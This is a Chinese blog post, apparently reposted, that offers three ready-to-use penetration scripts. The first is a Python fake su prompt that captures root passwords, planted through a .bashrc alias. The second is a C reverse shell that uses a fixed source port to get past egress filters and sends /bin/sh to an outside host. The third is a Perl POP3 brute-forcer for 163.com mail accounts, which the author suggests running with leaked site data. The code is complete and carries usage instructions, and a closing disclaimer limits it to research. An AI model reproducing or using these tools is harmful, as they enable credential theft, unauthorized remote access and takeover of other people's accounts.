zoukankan      html  css  js  c++  java
  • 网站渗透常用到的Python小脚本

    0×00
    渗透的很多时候,找到的工具并不适用,自己码代码才是王道,下面三个程序都是渗透时在网络上找不到合适工具,自己辛苦开发的,短小使用,求欣赏,求好评。

    0×01
    记录root密码小工具

    root.py

    1

    2

    3

    4

    5

    6

    7

    8

    9

    10

    11

    12

    13

    14

    15

    16

    17

    18

    19

    20

    21

    #!/usr/bin/python

    import os, sys, getpass, time

     

    current_time = time.strftime("%Y-%m-%d %H:%M")

    logfile="/dev/shm/.su.log"              //密码获取后记录在这里

    #CentOS                

    #fail_str = "su: incorrect password"

    #Ubuntu              

    #fail_str = "su: Authentication failure"

    #For Linux Korea                    //centos,ubuntu,korea 切换root用户失败提示不一样

    fail_str = "su: incorrect password"

    try:

        passwd = getpass.getpass(prompt='Password: ');

        file=open(logfile,'a')

        file.write("[%s]t%s"%(passwd, current_time))   //截取root密码

        file.write('n')

        file.close()

    except:

        pass

    time.sleep(1)

    print fail_str                               //打印切换root失败提示

    渗透linux拿到低权限并提权无果时,将这个程序传上去,再将一个低权限用户目录下的.bashrc添加一句alias su='/usr/root.py'; 低权限用户su root 成功记录密码。密码记录路径请看脚本

    0×02

    设置源端口反弹shell
    渗透某个linux服务器,反连时目标端口为888不行,5380还是不行,
    Ping
    了下百度 可以ping通,
    那真相只有一个:服务器变态的限制了只能某些提供已某些端口为源端口去连接外面

    比如:
    只允许接收对80端口的访问数据包,并以80为源端口向外回复数据。
    谷歌程序无果,自己查了相关api后写了个。
    client-port.c

    1

    2

    3

    4

    5

    6

    7

    8

    9

    10

    11

    12

    13

    14

    15

    16

    17

    18

    19

    20

    21

    22

    23

    24

    25

    26

    27

    28

    29

    30

    31

    32

    33

    34

    35

    36

    37

    38

    39

    40

    41

    42

    43

    44

    45

    46

    47

    48

    49

    50

    51

    52

    53

    54

    55

    #include <stdio.h>

    #include <sys/types.h>

    #include <sys/socket.h>

    #include <netinet/in.h>

    #include <netdb.h>

    void error(char *msg)

    {

            perror(msg);

            exit(0);

    }

    int main(int argc, char *argv[])

    {

            int sockfd, portno, lportno,n;

            struct sockaddr_in serv_addr;

            struct sockaddr_in client_addr;

            struct hostent *server;

            char buffer[256];

            if (argc < 3) {

                    fprintf(stderr,"usage %s hostname port LocalPortn", argv[0]);

                    exit(0);

            }                          //三个参数,目标主机,目标主机端口,本地源端口

            portno = atoi(argv[2]);

            sockfd = socket(AF_INET, SOCK_STREAM, 0);

            if (sockfd < 0)

                    error("ERROR opening socket");

     

     

            bzero((char *) &client_addr, sizeof(client_addr));

            lportno = atoi(argv[3]);

            client_addr.sin_family = AF_INET;

            client_addr.sin_addr.s_addr = INADDR_ANY;

            client_addr.sin_port = htons(lportno);         //设置源端口

            if (bind(sockfd, (struct sockaddr *) &client_addr,

                                    sizeof(client_addr)) < 0)

                    error("ERROR on binding");

     

            server = gethostbyname(argv[1]);

            if (server == NULL) {

                    fprintf(stderr,"ERROR, no such host ");

                    exit(0);

            }

            bzero((char *) &serv_addr, sizeof(serv_addr));

            serv_addr.sin_family = AF_INET;

            bcopy((char *)server->h_addr,

                            (char *)&serv_addr.sin_addr.s_addr,

                            server->h_length);

            serv_addr.sin_port = htons(portno);

            if (connect(sockfd,&serv_addr,sizeof(serv_addr)) < 0)   //连接

                    error("ERROR connecting");

    dup2(fd, 0);

    dup2(fd, 1);

    dup2(fd, 2);

    execl("/bin/sh","sh -i", NULL);                        //执行shell

    close(fd);

    }

    用法:

    1

    gcc client-port.c -o port

    1

    chmod +x port

     

    1

    ./port  你的IP 你的监听端口 本地的源端口

    ./port  http://www.exehack.net  80  80
    成功反弹shell 提权成功

    0×03 邮箱爆破脚本
    某个时候 需要爆破一批邮箱
    Burp163.pl

    1

    2

    3

    4

    5

    6

    7

    8

    9

    10

    11

    12

    13

    14

    15

    16

    17

    18

    19

    20

    21

    22

    23

    24

    25

    26

    27

    28

    29

    30

    31

    32

    33

    #!/usr/bin/perl

    use Net::POP3;

    $email="pop.163.com";          //设置pop服务器地址 qqpop.qq.com

    $pop = Net::POP3->new($email)or die("ERROR: Unable to initiate. ");

    print $pop->banner();

    $pop->quit;

    $i=0;

    open(fp1,"user.txt");      

    @array1=<fp1>;

    open(fp2,"pass.txt");

    @array2=<fp2>;                     //从文件中获取邮箱用户名及密码

    foreach $a(@array1) {

    $u=substr($a,0,length($a)-1);

    $u=$u."@163.com";

    foreach $b(@array2) {

    $p=substr($b,0,length($b)-1);

    print "cracked with ".$u."-----".$p."n";

    $i=$i+1;

    $pop = Net::POP3->new($email)or die("ERROR: Unable to initiate. ");

    $m=$pop->login($u,$p);              //尝试登录邮箱

    if($m>0)

    {

      print $u."------------".$p."----"."success"."n";

      $pop->quit;

    }                                //成功登录

    else

    {

      print $u."------------".$p."----"."failed"."n";

      $pop->quit;                                     //登录失败

    }

    }

    }

    print $i;

    用法:将要爆破的邮箱的pop服务器写入下面这一行 默认是163邮箱

    1

    $email="pop.163.com";

    再将去除掉@后面部分的邮箱地址比如exehack@163.com 去除后exehack存进去
    同目录user.txt中吗,再将字典存进去pass.txt
    你可能会说:这个有点鸡肋吧 万一邮箱的密码很复杂

    搞到了一个小站的数据,
    用这个程序批量测试密码是否就是邮箱密码 呵呵,我啥都没说。

    0×04
    这三个程序仅供技术研究,如读者用于违法行为,本人概不负责。

  • 相关阅读:
    android canvas drawtext 字高
    ios修改UIIMage大小
    聊聊视频播放那些事2
    聊聊视频播放那些事1
    重入锁 ReentrantLock (转)(学习记录)
    setHasFixedSize(true)的意义 (转)
    ActivityLifecycleCallbacks
    NSSet
    阿里云ECS服务器IIS和WampServer同时运行
    ASP.NET MVC4网站部署在阿里ECS云服务器(WIndows Server 2012+IIS8环境)
  • 原文地址:https://www.cnblogs.com/h4ck0ne/p/5154652.html
Copyright © 2011-2022 走看看